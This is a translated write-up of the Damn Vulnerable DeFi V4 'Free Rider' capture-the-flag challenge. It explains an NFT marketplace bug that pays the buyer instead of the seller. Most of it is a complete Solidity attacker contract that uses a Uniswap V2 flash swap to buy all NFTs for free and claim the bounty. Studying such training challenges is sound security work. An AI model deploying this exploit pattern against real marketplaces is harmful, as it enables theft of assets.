本文分析了Damn Vulnerable DeFi V4挑战中的Free Rider漏洞,该漏洞存在于NFT市场的购买逻辑中,由于在支付卖家之前就将NFT转移给买家,导致买家可以免费获得NFT并退回付款。攻击者利用Uniswap V2闪电贷获得初始资金,购买所有NFT,然后将NFT转移到recoveryManager合约以获得赏金,最后偿还闪电贷。
该解释假定你事先了解此挑战中的智能合约,并将专门关注漏洞分析。
一个崭新的 Damn Valuable NFT 市场已经发布!已经初始铸造了 6 个 NFT,它们可以在市场上出售。每个 15 ETH。
已经报告了一个严重漏洞,声称可以获取所有 token。但开发人员不知道如何拯救它们!
他们提供 45 ETH 的赏金,奖励给任何愿意取出 NFT 并将其发送给他们的人。恢复过程由专门的智能合约管理。
你已同意提供帮助。但是,你的余额中只有 0.1 ETH。开发人员就是不回复你要求更多信息的消息。
如果至少可以立即获得免费的 ETH 就好了。
该挑战暴露了 NFT 市场合约的支付逻辑中的一个关键缺陷。市场在 NFT 购买期间的操作顺序中包含一个错误。
核心漏洞在于 FreeRiderNFTMarketplace 合约中的 _buyOne() 函数:
function _buyOne(uint256 tokenId) private {
uint256 priceToPay = offers[tokenId];
// ... checks for valid offer and sufficient payment ...
// ... 检查有效的 offer 和足够的付款 ...
--offersCount;
// transfer from seller to buyer
// 从卖家转移到买家
DamnValuableNFT _token = token;
_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);
// pay seller using cached token
// 使用缓存的 token 向卖家付款
payable(_token.ownerOf(tokenId)).sendValue(priceToPay);
emit NFTBought(msg.sender, tokenId, priceToPay);
}
该实现存在漏洞,因为它在向卖方付款之前将 NFT 转移给买方。关键错误在于,它在 NFT 已经转移后调用 _token.ownerOf(tokenId),这会返回买方的地址,而不是原始卖方的地址。这意味着买方既收到了 NFT,又收到了付款的退款,实际上允许免费购买 NFT。
contract Attacker is IERC721Receiver{
WETH weth;
IUniswapV2Pair uniswapPair;
FreeRiderNFTMarketplace marketplace;
FreeRiderRecoveryManager recoveryManager;
DamnValuableNFT nft;
address player;
uint256 constant NFT_PRICE = 15 ether;
constructor(
WETH _weth,
IUniswapV2Pair _uniswapPair,
FreeRiderNFTMarketplace _marketplace,
FreeRiderRecoveryManager _recoveryManager,
DamnValuableNFT _nft,
address _player
) {
weth = _weth;
uniswapPair = _uniswapPair;
marketplace = _marketplace;
recoveryManager = _recoveryManager;
nft = _nft;
player = _player;
}
function startAttack() public {
bytes memory data = abi.encode(address(recoveryManager));
uniswapPair.swap(NFT_PRICE, 0, address(this), data);
}
function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
uint256[] memory tokenIds = new uint256[](6);
for(uint256 i = 0; i < 6; i++) {
tokenIds[i] = i;
}
weth.withdraw(NFT_PRICE);
marketplace.buyMany{value: NFT_PRICE}(tokenIds);
for(uint256 i = 0; i < 6; i++) {
nft.safeTransferFrom(address(this), address(recoveryManager), i, abi.encode(player));
}
uint256 fee = (NFT_PRICE * 3) / 997 + 1;
weth.deposit{value: 15e18 + fee}();
weth.transfer(msg.sender, 15e18 + fee);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
return this.onERC721Received.selector;
}
receive() external payable {}
}
/**
* CODE YOUR SOLUTION HERE
* 在这里编写你的解决方案
*/
function test_freeRider() public checkSolvedByPlayer {
Attacker attacker = new Attacker(
weth,
uniswapPair,
marketplace,
recoveryManager,
nft,
player
);
attacker.startAttack();
}
GitHub 存储库,其中包含解决方案:https://github.com/HamMnatsakanyan/damn-vulnerable-defi-solutions/
查看我的 X 个人资料:https://x.com/_synthrax
- 原文链接: coinsbench.com/damn-vuln...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!